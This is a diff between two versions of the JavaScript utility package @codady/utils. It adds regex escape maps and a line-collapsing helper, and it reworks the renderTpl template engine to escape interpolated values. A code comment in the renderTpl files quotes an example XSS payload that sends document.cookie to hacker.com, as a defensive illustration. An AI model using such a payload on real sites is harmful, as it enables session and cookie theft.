@codady/utils 0.0.36 → 0.0.38

package/src/escapeRegexMaps.js

@@ -0,0 +1,19 @@
+/**
+ * @since Last modified: 2026/01/16 11:07:17
+ * @function escapeRegexMaps
+ * Generates a set of regular expressions that match the characters to be escaped
+ * in different contexts such as HTML content, attributes, and URIs.
+ *
+ * This function uses the `escapeCharsMaps` object to create regular expressions for
+ * matching characters that need to be escaped based on the context.
+ *
+ */
+import escapeCharsMaps from "./escapeCharsMaps";
+const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
+    const chars = Object.keys(escapeCharsMaps[key]);
+    // Escape special regex characters to avoid issues in the regex. [ => \[
+    const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
+    acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
+    return acc;
+}, {});
+export default escapeRegexMaps;

package/src/escapeRegexMaps.ts

@@ -0,0 +1,26 @@
+
+
+/**
+ * @since Last modified: 2026/01/16 11:07:17
+ * @function escapeRegexMaps
+ * Generates a set of regular expressions that match the characters to be escaped 
+ * in different contexts such as HTML content, attributes, and URIs.
+ * 
+ * This function uses the `escapeCharsMaps` object to create regular expressions for 
+ * matching characters that need to be escaped based on the context.
+ * 
+ */
+
+import escapeCharsMaps from "./escapeCharsMaps";
+
+const escapeRegexMaps: Record<string, RegExp> = (Object.keys(escapeCharsMaps)).reduce(
+    (acc, key) => {
+        const chars = Object.keys(escapeCharsMaps[key]);
+        // Escape special regex characters to avoid issues in the regex. [ => \[
+        const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
+        acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
+        return acc;
+    },
+    {} as Record<string, RegExp>
+);
+export default escapeRegexMaps;

package/src/renderTpl.js

@@ -1,11 +1,11 @@
 /**
- * @since Last modified: 2025/11/15 16:24:20
+ * @since Last modified: 2026/01/16 15:11:15
  * @function renderTpl
  * @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
  * @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
  * @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
  * @param {Object} [options] - Configuration options to control the rendering behavior:
- * @param {boolean} [options.safe=false] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is `false`.
+ * @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
  * @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
  * @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
  * @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
@@ -13,8 +13,10 @@
  * @returns {string}  - The string after the variables are replaced with data.
  */
 'use strict';
-import { escapeHTML } from "./escapeHTML";
+import escapeHTML from "./escapeHTML";
+import getUniqueId from "./getUniqueId";
 import requireTypes from "./requireTypes";
+import toSingleLine from "./toSingleLine";
 const renderTpl = (html, data, options = {}) => {
     requireTypes(html, 'string', (error) => {
         //不符合要求的类型
@@ -33,33 +35,54 @@ const renderTpl = (html, data, options = {}) => {
         console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
         return html;
     }
-    let opts = Object.assign({ safe: false, strict: false, start: '{{', end: '}}', suffix: '/' }, options), tplStr = opts.safe ? escapeHTML(html) : html, 
+    let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), 
     //regStart='\\{\\{'
     regStart = opts.start.split('').map(k => '\\' + k).join(''), 
     //regEnd='\\}\\}'
-    regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', add = (fragment, isScript) => {
-        isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
-            : (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
+    regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', 
+    //代替escapeHTML的方法，在字符串内部的映射，确保不会重名
+    escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
+        if (isScript) {
+            //处理语句类（如 {{ if(x) /}} ）
+            if (fragment.endsWith(opts.suffix)) {
+                code += (fragment.slice(0, -opts.suffix.length) + '\n');
+            }
+            else {
+                //处理表达式类（如 {{ name }} ）
+                //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
+                //虽然new Function不会执行，但是也需要将其当做纯文本输出，避免renderTpl输出的文本自带风险，此时则需要转意，确保renderTpl的返回值是安全的纯文本
+                code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
+            }
+        }
+        else {
+            //fragment可能自带单引号或双引号，需要转意，避免与push("xxx")语句冲突
+            //js语句不能直接文本换行，所以也需要转意换行符
+            //换行转意的另外一个意义是，保持原文本的换行，因为在toSingleLine中会删除所有物理换行以确保代码可被执行
+            code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
+        }
         return add;
     };
-    while (match = tplReg.exec(tplStr)) {
-        add(tplStr.slice(cursor, match.index))(match[1], true);
+    while (match = tplReg.exec(html)) {
+        add(html.slice(cursor, match.index))(match[1], true);
         cursor = match.index + match[0].length;
     }
-    add(tplStr.slice(cursor));
+    add(html.slice(cursor));
     code += `return str.join('');`;
+    //一行行化代码
+    //如果文本"XXX (换行)"，js执行会报错，所以需要清理换行
+    code = toSingleLine(code);
     try {
         if (opts.strict || dataType === 'Array') {
             //严格模式，或者是数组数据，则必须使用this
-            result = new Function(code.replace(/[\r\t\n]/g, '')).apply(data);
+            result = new Function(escapeName, code).apply(data, [escapeHTML]);
         }
         else {
             ////非严格模式，且是对象，则可省略this
             let keys = Object.keys(data), values = Object.values(data), 
-            //keys传参,this依然可指向data
-            tmp = new Function(...keys, code.replace(/[\r\t\n]/g, '')).bind(data);
+            //keys传参，可直接以key为值,this依然可指向data
+            tmp = new Function(...keys, escapeName, code).bind(data);
             //执行时以value赋值
-            result = tmp(...values);
+            result = tmp(...values, escapeHTML);
         }
     }
     catch (err) {

package/src/renderTpl.ts

@@ -1,11 +1,11 @@
 /**
- * @since Last modified: 2025/11/15 16:24:20
+ * @since Last modified: 2026/01/16 15:11:15
  * @function renderTpl
  * @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
  * @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
  * @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
  * @param {Object} [options] - Configuration options to control the rendering behavior:
- * @param {boolean} [options.safe=false] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is `false`.
+ * @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
  * @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
  * @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
  * @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
@@ -14,14 +14,16 @@
  */
 'use strict';
 import { T_obj } from "../types/utils";
-import { escapeHTML } from "./escapeHTML";
+import escapeHTML, { EscapeStrength } from "./escapeHTML";
+import getUniqueId from "./getUniqueId";
 import requireTypes from "./requireTypes";
+import toSingleLine from "./toSingleLine";
 type options = {
-    safe?: boolean,
+    escape?: EscapeStrength,
     strict?: boolean,
-    start?:string,
-    end?:string,
-    suffix?:string,
+    start?: string,
+    end?: string,
+    suffix?: string,
 }
 const renderTpl = (html: string, data: T_obj | any[], options: options = {}): string => {
     requireTypes(html, 'string', (error) => {
@@ -43,8 +45,7 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
         console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
         return html;
     }
-    let opts = Object.assign({ safe: false, strict: false, start: '{{', end: '}}', suffix: '/' }, options),
-        tplStr = opts.safe ? escapeHTML(html) : html,
+    let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
         //regStart='\\{\\{'
         regStart = opts.start.split('').map(k => '\\' + k).join(''),
         //regEnd='\\}\\}'
@@ -54,29 +55,48 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
         cursor = 0,
         match: any,
         result = '',
+        //代替escapeHTML的方法，在字符串内部的映射，确保不会重名
+        escapeName = `__esc__${getUniqueId()}`,
         add = (fragment: string, isScript?: boolean) => {
-            isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
-                : (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
+            if (isScript) {
+                //处理语句类（如 {{ if(x) /}} ）
+                if (fragment.endsWith(opts.suffix)) {
+                    code += (fragment.slice(0, -opts.suffix.length) + '\n');
+                } else {
+                    //处理表达式类（如 {{ name }} ）
+                    //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
+                    //虽然new Function不会执行，但是也需要将其当做纯文本输出，避免renderTpl输出的文本自带风险，此时则需要转意，确保renderTpl的返回值是安全的纯文本
+                    code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
+                }
+            } else {
+                //fragment可能自带单引号或双引号，需要转意，避免与push("xxx")语句冲突
+                //js语句不能直接文本换行，所以也需要转意换行符
+                //换行转意的另外一个意义是，保持原文本的换行，因为在toSingleLine中会删除所有物理换行以确保代码可被执行
+                code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
+            }
             return add;
         }
-    while (match = tplReg.exec(tplStr)) {
-        add(tplStr.slice(cursor, match.index))(match[1], true);
+    while (match = tplReg.exec(html)) {
+        add(html.slice(cursor, match.index))(match[1], true);
         cursor = match.index + match[0].length;
     }
-    add(tplStr.slice(cursor));
+    add(html.slice(cursor));
     code += `return str.join('');`;
+    //一行行化代码
+    //如果文本"XXX (换行)"，js执行会报错，所以需要清理换行
+    code = toSingleLine(code);
     try {
         if (opts.strict || dataType === 'Array') {
             //严格模式，或者是数组数据，则必须使用this
-            result = new Function(code.replace(/[\r\t\n]/g, '')).apply(data);
+            result = new Function(escapeName, code).apply(data, [escapeHTML]);
         } else {
             ////非严格模式，且是对象，则可省略this
             let keys = Object.keys(data),
                 values = Object.values(data),
-                //keys传参,this依然可指向data
-                tmp = new Function(...keys, code.replace(/[\r\t\n]/g, '')).bind(data);
+                //keys传参，可直接以key为值,this依然可指向data
+                tmp = new Function(...keys, escapeName, code).bind(data);
             //执行时以value赋值
-            result = tmp(...values);
+            result = tmp(...values, escapeHTML);
         }
     } catch (err: any) {
         console.error(`'${err.message}'`, ' in \n', code, '\n');

package/src/renderTpt.js

@@ -0,0 +1,73 @@
+/**
+ * @since Last modified: 2026/01/16 11:41:59
+ * @function renderTpl
+ * @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
+ * @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
+ * @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
+ * @param {Object} [options] - Configuration options to control the rendering behavior:
+ * @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
+ * @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
+ * @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
+ * @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
+ * @param {string} [options.suffix='/'] - The suffix for ending script-like expressions. Default is `/`. This is used to close template expressions like `{{this.fn() /}}`.
+ * @returns {string}  - The string after the variables are replaced with data.
+ */
+'use strict';
+import escapeHTML from "./escapeHTML";
+import requireTypes from "./requireTypes";
+import toSingleLine from "./toSingleLine";
+const renderTemplate = (html, data, options = {}) => {
+    requireTypes(html, 'string', (error) => {
+        //不符合要求的类型
+        console.error(error);
+        return '';
+    });
+    if (!html.trim())
+        return '';
+    let dataType = requireTypes(data, ['array', 'object'], (error) => {
+        //不符合要求的类型
+        console.error(error);
+        return html;
+    });
+    //data={}/[]
+    if (Object.keys(data).length === 0) {
+        console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
+        return html;
+    }
+    let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), tplStr = opts.escape ? escapeHTML(html, opts.escape) : html, 
+    //regStart='\\{\\{'
+    regStart = opts.start.split('').map(k => '\\' + k).join(''), 
+    //regEnd='\\}\\}'
+    regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', add = (fragment, isScript) => {
+        isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
+            : (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
+        return add;
+    };
+    while (match = tplReg.exec(tplStr)) {
+        add(tplStr.slice(cursor, match.index))(match[1], true);
+        cursor = match.index + match[0].length;
+    }
+    add(tplStr.slice(cursor));
+    code += `return str.join('');`;
+    //一行行化代码
+    code = toSingleLine(code);
+    try {
+        if (opts.strict || dataType === 'Array') {
+            //严格模式，或者是数组数据，则必须使用this
+            result = new Function(code).apply(data);
+        }
+        else {
+            ////非严格模式，且是对象，则可省略this
+            let keys = Object.keys(data), values = Object.values(data), 
+            //keys传参,this依然可指向data
+            tmp = new Function(...keys, code).bind(data);
+            //执行时以value赋值
+            result = tmp(...values);
+        }
+    }
+    catch (err) {
+        console.error(`'${err.message}'`, ' in \n', code, '\n');
+    }
+    return result;
+};
+export default renderTemplate;

package/src/toSingleLine.js

@@ -0,0 +1,9 @@
+/**
+ * @since Last modified: 2026/01/16 11:38:24
+ * Collapses a multi-line string into a single-line string.
+ */
+const toSingleLine = (str, collapseSpaces = false) => {
+    const result = str.replace(/[\r\t\n]/g, '');
+    return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
+};
+export default toSingleLine;

package/src/toSingleLine.ts

@@ -0,0 +1,9 @@
+/**
+ * @since Last modified: 2026/01/16 11:38:24
+ * Collapses a multi-line string into a single-line string.
+ */
+const toSingleLine = (str: string, collapseSpaces: boolean = false): string => {
+    const result = str.replace(/[\r\t\n]/g, '');
+    return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
+};
+export default toSingleLine;

package/src/trimEmptyLines.js

@@ -1,4 +1,5 @@
 /**
+ * @since Last modified: 2026/01/15 18:51:42
  * Trims leading and trailing empty lines from a string.
  * Removes any newline characters at the beginning or end of the string,
  * along with any whitespace characters (spaces, tabs) that precede or follow them.

package/src/trimEmptyLines.ts

@@ -1,4 +1,5 @@
 /**
+ * @since Last modified: 2026/01/15 18:51:42
  * Trims leading and trailing empty lines from a string.
  * Removes any newline characters at the beginning or end of the string,
  * along with any whitespace characters (spaces, tabs) that precede or follow them.